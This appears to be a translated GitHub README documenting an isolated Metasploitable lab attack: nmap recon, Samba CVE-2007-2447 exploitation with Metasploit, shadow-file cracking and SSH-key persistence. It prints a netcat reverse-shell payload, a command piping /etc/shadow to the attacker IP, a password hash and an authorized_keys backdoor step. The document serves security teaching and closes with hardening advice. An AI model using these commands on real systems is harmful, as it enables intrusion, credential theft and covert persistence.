Mboatella25/metasploitable-pentest-lab

GitHub: Mboatella25/metasploitable-pentest-lab

一个完整的 Metasploitable 渗透测试实验项目,演示了从侦察到持久化的攻击全生命周期。

Stars: 0 | Forks: 0

# Metasploitable 漏洞利用 在一个受控且隔离的环境中进行真实攻击的完整生命周期:实验室准备、使用 nmap 进行侦察、攻击面优先级排序、映射到 CVE、使用 Metasploit 进行利用、后渗透、凭据提取与破解,以及通过注入 SSH 密钥实现持久化。 ![架构:Kali Linux(攻击者)对阵 Metasploitable(目标),隔离的 host-only 网络](https://static.pigsec.cn/wp-content/uploads/repos/cas/46/460f1d0fa8f605237a746a7bae05552dcfddaff2c9152d010a7ecaac512ec564.jpg) ## 1. 环境准备 - **攻击者**:Kali Linux —— `msfconsole`、`nmap`、John the Ripper。 - **目标**:Metasploitable 1 —— Ubuntu 8.04 (2010),未打补丁,存在多个已知 CVE。 - **网络**:host-only,两台虚拟机均与任何真实网络隔离(`192.168.64.0/24`)。受害者 IP:`192.168.64.3`。 ![验证两台虚拟机之间的连通性](https://static.pigsec.cn/wp-content/uploads/repos/cas/16/168fe346f005b8403712d7003fac8bfb95871de4200b905248a4c8802da13931.jpg) ## 2. 使用 Nmap 进行侦察 进行版本扫描以准确识别暴露的内容——漏洞影响的是特定的版本,而不是抽象的服务: ``` nmap -sV 192.168.64.3 ``` | 端口 | 服务 | 版本 | |---|---|---| | 21/tcp | ftp | ProFTPD 1.3.1 | | 22/tcp | ssh | OpenSSH 4.7p1 Debian 8ubuntu1 | | 23/tcp | telnet | Linux telnetd | | 80/tcp | http | Apache httpd 2.2.8 | | 139,445/tcp | netbios-ssn | Samba smbd 3.X —— **主要目标** | | 3306/tcp | mysql | MySQL 5.0.51a | | 8180/tcp | http | Apache Tomcat/Coyote JSP 1.1 | 12 个开放端口,全部为过时且可被利用的版本。 ## 3. 攻击面优先级排序 我没有攻击第一个开放的端口,而是在选择目标之前按风险类型对服务进行了分类: - **远程访问** (22, 23):Telnet 明文暴露凭据;OpenSSH 4.7p1 是一个非常老的版本。 - **Web 应用层** (80, 8180):Apache 2.2.8 远落后于稳定版本;Tomcat 凭据薄弱且存在潜在的 RCE。 - **暴露的数据库** (3306):MySQL 5.0.51a,老旧版本且可直接访问数据。 - **共享文件 / 内部网络** (139, 445):Samba,历史上被利用最多的服务之一,存在已知的公开 CVE 和 exploit。 **选定目标:Samba 3.0.20-Debian** —— 它结合了具有记录在案的关键漏洞的版本、Metasploit 中可用的 exploit,以及无需身份验证即可执行代码的特点:以最高的可靠性实现最大的影响。 ## 4. 漏洞映射 使用 Nmap 脚本引擎 (NSE) 确认确切版本: ``` nmap -p 139,445 --script=smb-os-discovery 192.168.64.3 | smb-os-discovery: | OS: Unix (Samba 3.0.20-Debian) ``` Samba 3.0.20 易受 **CVE-2007-2447** 攻击:`username map script` 参数未对输入进行验证,攻击者可以直接将 shell 命令注入到用户名字段中。由于映射发生在登录*之前*,因此不需要有效的用户名或密码。 ![CVE-2007-2447 记录:通过 Samba 中的 username map script 实现 RCE](https://static.pigsec.cn/wp-content/uploads/repos/cas/42/42ddbfec299cf10db0ff93baa741154b98b92ff94f6fe59800e46a643439e4d1.jpg) ## 5. 使用 Metasploit 进行利用 ``` msfconsole ``` ![启动 Metasploit Framework](https://static.pigsec.cn/wp-content/uploads/repos/cas/30/30b9a21db50c5afce2c4c7c0e8206e7c21de17e3b0eeaf22b924f722e16c8962.jpg) 搜索相应的模块: ``` msf > search type:exploit samba ``` ![搜索 Samba exploit —— exploit/multi/samba/usermap_script,级别 excellent](https://static.pigsec.cn/wp-content/uploads/repos/cas/3a/3ae5ad18f4544773f7ff1d0842aad26db1ddf80e017db6adc4bfc295cbb38501.jpg) 配置并执行: ``` msf > use exploit/multi/samba/usermap_script msf exploit(multi/samba/usermap_script) > set RHOSTS 192.168.64.3 msf exploit(multi/samba/usermap_script) > exploit [*] Started reverse TCP handler on 192.168.64.4:4444 [*] Command shell session 1 opened ``` 立即验证权限——该漏洞提供直接的 root 访问权限,无需后续提权: ``` whoami → root uname -a → Linux metasploitable 2.6.24-16-server (kernel de 2008) ``` ![获取的 Shell:whoami 从一开始就返回 root](https://static.pigsec.cn/wp-content/uploads/repos/cas/1f/1f617d13acc436f2f5a083c548121b37d55d70fff3adc40cfd3b34d0470ea32f.jpg) ## 6. 后渗透:实际发生的过程 检查受害者上的进程,可以看到注入的 payload 本身正在运行: ``` ps aux | grep samba root 4931 sh -c /etc/samba/scripts/mapusers.sh "/=`nohup mkfifo /tmp/iftpe; nc 192.168.64.4 4444 0/tmp/iftpe 2>&1; rm /tmp/iftpe`" ``` 发送的用户名包含了命令本身(`` /=`...` ``):Samba 未经过滤将其传递给 shell,shell 使用 `mkfifo` 创建了一个管道,使用 `netcat` 打开了返回 Kali 的连接,并将 `/bin/sh` 连接到该管道——完整的远程代码执行,逐行进行。 使用 `netstat -tulnp` 枚举内部服务:MySQL 出现在 `0.0.0.0:3306` 上监听——暴露给网络中的任何机器,而不仅仅是 localhost。 ## 7. 凭据提取与破解 我没有尝试在受害者机器上进行破解(消耗 CPU、产生噪音、留下痕迹),而是提取了哈希值并将其传输到 Kali 进行离线破解: ``` cat /etc/shadow msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7::: ``` ![从 /etc/shadow 提取的密码哈希](https://static.pigsec.cn/wp-content/uploads/repos/cas/71/718724ee727179e47bf24746e9a852216e87868e1a3b1bd0d60c6c13098ad7b4.jpg) 通过 netcat 传输并准备供 John the Ripper 使用: ``` # 在 Kali 中: nc -lvnp 4444 > shadow.txt # 在受害者中: cat /etc/shadow | nc 192.168.64.4 4444 unshadow passwd.txt shadow.txt > hashes.txt john hashes.txt ``` John 执行了三个自动阶段(使用用户自身信息的 *single* 模式、字典以及增量暴力破解)。结果:**7 个密码破解了 6 个**,包括可重复用于 SSH、MySQL 和 FTP 的凭据。 ![John the Ripper:破解了 6 个密码](https://static.pigsec.cn/wp-content/uploads/repos/cas/6f/6f7ed5db1e74b2697409da4a4b434d0c58fc61ad86bffa0899b90ce13fcec09e.jpg) ## 8. 横向移动与持久化 使用破解的凭据,以合法用户身份直接进行 SSH 访问: ``` ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa msfadmin@192.168.64.3 ``` ![使用破解的凭据进行 SSH 访问](https://static.pigsec.cn/wp-content/uploads/repos/cas/cc/cc672193d0f61ac9243646265cfac87a9798cabb3106be17af1e5e8ab2bd5d42.jpg) 为了不依赖可能会轮换的密码,我生成了自己的密钥对并将其添加到受害者的 `authorized_keys` 中——这是一个在密码更改后依然有效且不会触发暴力破解警报的后门: ``` ssh-keygen -t rsa -b 2048 -f lab_key cat lab_key.pub >> ~/.ssh/authorized_keys # ejecutado en la víctima, ya comprometida ``` 无需密码的后续访问: ``` ssh -i lab_key -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa msfadmin@192.168.64.3 ``` ![无需密码的持久化 SSH 访问,通过密钥进行身份验证](https://static.pigsec.cn/wp-content/uploads/repos/cas/8d/8d445ff9f5e817b555980ae08ac2d915812bca9bcf61e3231bd6e436db22c51d.jpg) ## 发现 - 十二个开放端口,全部运行过时版本——攻击面不是单一的缺陷,而是多年未更新服务的积累。 - 一个**无需任何身份验证**即可利用的远程代码执行漏洞,这是暴露服务可能面临的最坏情况。 - 服务(SSH、MySQL、FTP)之间凭据薄弱且重复使用——攻破单一点即可获得对多个服务的访问权限。 - 完全缺乏网络分段和基本的系统加固(数据库暴露在 `0.0.0.0`,Telnet 等遗留协议处于激活状态)。 ## 安全建议 消除诸如 Telnet 之类的不安全协议,更新关键服务及内核本身,限制数据库的直接暴露,实施网络分段,最重要的是——考虑到破解密码如此容易——强制实施强健的凭据策略,并且不要在服务间重复使用凭据。能够避免此类攻击在生产环境中发生的同类检测手段(对异常出站连接的监控、针对 `nc`/reverse shell 的警报),正是我在 [Home SOC Lab](https://github.com/Mboatella25/home-soc-lab-wazuh) 中用于防御侧的工作。 ## 结论 攻击前的优先级排序——了解哪个服务能以最高的可靠性提供最大的影响,而不是随机尝试端口——是直接指向 Samba 的原因。后渗透阶段,在 `ps aux` 中看到注入的命令本身在运行,最能说明*为什么*输入验证漏洞会演变成对系统的完全控制。而 SSH 密钥持久化清楚地表明,一旦入侵,攻击者的目标不仅是“获得访问权限”,而是要隐秘且持久地保持它——这也是纵深防御不应仅依赖单一屏障的更多理由。
标签:CTI, Web报告查看器, 安全实验环境, 插件系统